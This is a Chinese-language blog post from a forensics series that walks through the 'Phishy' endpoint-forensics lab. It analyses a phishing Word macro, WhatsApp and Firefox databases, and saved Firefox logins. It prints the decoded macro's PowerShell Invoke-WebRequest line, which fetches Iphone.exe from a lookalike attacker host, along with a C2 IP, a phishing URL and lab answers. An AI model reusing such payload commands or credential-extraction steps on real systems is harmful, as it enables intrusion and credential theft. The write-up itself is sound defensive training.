iT邦幫忙

2025 iThome 鐵人賽

DAY 15
0
Security

我一個大調查下去:從零開始的數位鑑識系列 第 15

【Day 15】Disk Forensics 06:OLE 分析與 Firefox 鑑識 - Phishy Lab

  • 分享至 

  • xImage
  •  

前言

今天要打的是 Phishy Lab,難度為 medium,分類是 Endpoint Forensics。

Phishy

工具

FTK Imager, oledump(https://www.youtube.com/watch?v=52pFz8sYMFs), registry explorer, DB browser for SQlite

情境

一家公司的員工參與了一場假冒iPhone的贈品活動。我們的團隊提取了該員工係統的磁碟映像,以便進一步分析。
身為 SOC 分析師,你的任務是確定係統是如何被入侵的。

Q1:受害者機器的主機名稱是什麼?

註冊表 (Registry) 是一個龐大的資料庫,儲存著作業系統、硬體和應用程式等等的配置設定,它由多個子部分 hive 組成。
C:\Windows\System32\config\system 這個檔案是儲存 SYSTEM hive 的地方,裡面存放了許多系統的關鍵資訊,當然也包含主機名稱。
要瀏覽hive的內容可以用 Registry Explorer 這個工具。
用 FTK Imager 把 ad1 檔案打開,把 C:\Windows\System32\config\system 導出
https://ithelp.ithome.com.tw/upload/images/20250903/201779981LvfBoyy61.png
接著用 Registry Explorer 打開,在ControlSet001\Control\ComputerName\ComputerName 下可以看到主機名字
https://ithelp.ithome.com.tw/upload/images/20250903/20177998NfLmv7FvTJ.png
Ans:WIN-NF3JQEU4G0T

Q2:受害者機器上安裝的通訊軟體是什麼?

AppData 用於儲存應用程式資料,所以要找到使用者安裝的應用程式我們可以到這個目錄來看,其中只有 WhatsApp 是通訊軟體。
https://ithelp.ithome.com.tw/upload/images/20250903/20177998dyWmwvEWyA.png
Ans:WhatsApp

Q3:攻擊者誘騙受害者下載了一個惡意文件。請提供完整的下載網址。

AppData 下有三個資料夾:
Roaming:儲存可在多台電腦間漫遊的資料,如果帳戶在多台裝置登入,這個資料夾的內容會同步。
Local:儲存特定於單一電腦的資料,通常體積較大且不適合同步。
LocalLow:儲存具有較低權限的應用程式所使用的資料,以增加安全性。
所以像 WhatsApp 的通話紀錄這種同步需求很高的資料就會存在 Roaming 底下。
\Users\Semah\AppData\Roaming\WhatsApp\Databases\ 下最重要的就是 msgstore.db 這個資料庫,他記錄著所有聊天訊息。
把它導出然後用 SQLite viewer 打開
https://ithelp.ithome.com.tw/upload/images/20250903/20177998LdoxBBCR4d.png
第 17 項的訊息內容:We listed the 5 winners in this document http://appIe.com/IPhone-Winners.doc,顯示攻擊者誘騙受害者去下載這個 IPhone-Winners.doc
Ans:http://appIe.com/IPhone-Winners.doc
###Q4:文件中有多個資料流包含巨集。請提供編號最高的資料流。
oledump 是一款用來分析 OLE 檔的工具。許多惡意文件會利用 OLE 格式來嵌入惡意巨集(macros),oledump 幫助我們在不開啟文件的狀況下,快速檢查文件中是否藏有可疑內容。

python oledump.py IPhone-Winners.doc

https://ithelp.ithome.com.tw/upload/images/20250903/20177998ihVpyDUOzu.png
含有巨集(在 Macros/VBA/ 下)且編號最高的就是 Macros/VBA/iphoneevil,10 號
Ans:10

Q5:巨集執行了一個程式。請提供程序名稱。

用 oledump 把巨集內容 dump 出來

python oledump.py -s 10 -v IPhone-Winners.doc

-s 指定串流,-v 解壓縮 vba 內容
https://ithelp.ithome.com.tw/upload/images/20250903/20177998JrO9q2u1Le.png
他是一段經過混淆的程式碼。把它 CreateObject 然後 Run 這行(倒數第2行)刪掉,替換成

Debug.Print lllllllllll
Debug.Print llllllllll1

用來把變數 print 出來
接著新增一個 Word 文件,打開後按 Alt + F11 開啟 VBA 編輯器,上面選插入 -> 模組,然後貼上剛剛改好的程式碼
https://ithelp.ithome.com.tw/upload/images/20250903/20177998oyhtgyJ7gF.png
按綠色箭頭執行,按 Ctrl+G 查看輸出結果
https://ithelp.ithome.com.tw/upload/images/20250903/20177998t4T0dGdEVC.png
是一段 Base64 編碼的程式碼,並且用 PowerShell 的 -EncodedCommand 執行程式碼,-EncodedCommand 是 PowerShell 中一個很強大的功能,但也常被惡意軟體濫用。
Ans:powershell

Q6:該巨集下載了一個惡意檔案。請提供完整的下載 URL。

當PowerShell 使用 -EncodedCommand 參數時,PowerShell 會先對 Base64 字串進行解碼,然後用 UTF-16LE 對解碼出來的二進制數據再次解碼,然後再執行程式碼。所以我們把剛剛得到的 Base64 解碼之後還要用 UTF-16LE 再次解碼才能得到正確的程式碼。
https://ithelp.ithome.com.tw/upload/images/20250903/20177998kho5wSHMMH.png
invoke-webrequest -Uri 'http://appIe.com/Iphone.exe' -OutFile 'C:\Temp\IPhone.exe' -UseDefaultCredentials 這條命令的作用是從http://appIe.com/Iphone.exe下載Iphone.exe並將其儲存在C:\Temp\IPhone.exe。
Ans:http://appIe.com/Iphone.exe

Q7:惡意檔案下載到了哪裡? (請提供完整路徑)

Ans:C:\Temp\IPhone.exe

Q8:用於建立惡意軟體的框架名稱是什麼?

export file hash
https://ithelp.ithome.com.tw/upload/images/20250903/201779987T5LiZnpuU.png
然後丟到virustotal上
https://ithelp.ithome.com.tw/upload/images/20250903/20177998B2CQuQhW8j.png
Metasploit 是一個框架(framework),他就像駭客的工具箱,裝載了各種駭客工具,用來發動攻擊。 Meterpreter 是 Metasploit 中最受歡迎的工具之一,用於在成功入侵後建立隱蔽的遠端控制。看到Meterpreter就可以推斷它是用metasploit建立的
Ans:Metasploit

Q9:攻擊者的 IP 位址是什麼?

在 VirusTotal 的 behavior 頁面的最下面可以看到 C2 server 為 155.94.69.27 。
Command and Control Server 簡稱 C2 server,是一台由攻擊者控制的伺服器,用於控制著所有被他感染的電腦,並且發送指令。
https://ithelp.ithome.com.tw/upload/images/20250903/20177998PFfhb0ePgt.png
Ans:155.94.69.27

Q10:虛假贈品活動利用登入頁面收集使用者資訊。請提供登入頁面的完整網址。

要看使用者訪問了哪些頁面,我們要查瀏覽器的紀錄。在 appdata 下我們有看到使用者有安裝 Firefox。前面說過,要同步的資料會存在 roaming,當然瀏覽紀錄也是。
Firefox 的瀏覽紀錄存在 places.sqlite 這個檔案中,位在 Firefox 的 profile 底下。
導出檔案
https://ithelp.ithome.com.tw/upload/images/20250903/20177998ZsA9mmrlBM.png
用 SQLite viewer 打開,在 moz_places table (下載資訊) 的第 17 項可以看到名為 log in 的頁面
https://ithelp.ithome.com.tw/upload/images/20250903/20177998aWWMq3P6z6.png
所以答案就是https://for1.q21.ctfsecurinets.com/admin/login/?next=/admin/ 嗎?但是輸入後答案是錯的
這裡我上網看了很多篇 Firefox forensics的文章,但都沒有找到原因,後來我跑去問氪金版AI,他幫我找出了問題所在。我簡化他的回答後放在這裡
於是我把places.sqlite、places.sqlite-wal、places.sqlite-shm都導出到同一個資料夾,再用 DB Browser 打開
https://ithelp.ithome.com.tw/upload/images/20250903/20177998kDGECesm3Z.png
就能看到正確的 URL 了
Ans:http://appIe.competitions.com/login.php

Q11:使用者提交到登入頁面的密碼是什麼?

logins.json 檔案包含已儲存的登入憑證,但裡面存的值是加密的,需要用 PasswordFox 來解密。
導出 logins.json 和 key4.db (都和 places.sqlite 同位置) 到同一個資料夾。key4.db 儲存了用於加密和解密的加密金鑰。
然後執行 PasswordFox,按左上角的 file -> select folder,選剛剛導出的資料夾
https://ithelp.ithome.com.tw/upload/images/20250903/20177998yvlQ49OjFE.png
Ans:GacsriicUZMY4xiAF4yl

總結

今天我們學到了很多新的分析技能與工具,像是 WhatsApp 通訊紀錄分析、用 oledump 分析巨集、Firefox 瀏覽器鑑識等等。SQLite WAL 檔案處理遇到的問題是一個很好的經驗,因為這類細節往往決定了調查的成敗。
明天我們將繼續深入記憶體鑑識。


上一篇
【Day 14】Disk Forensics 05:竄改自身的惡意程式- Sysinternals Lab
下一篇
【Day 16】Memory Forensics 05:持久化手法與 Rootkit 檢測 - Seized Lab
系列文
我一個大調查下去:從零開始的數位鑑識16
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言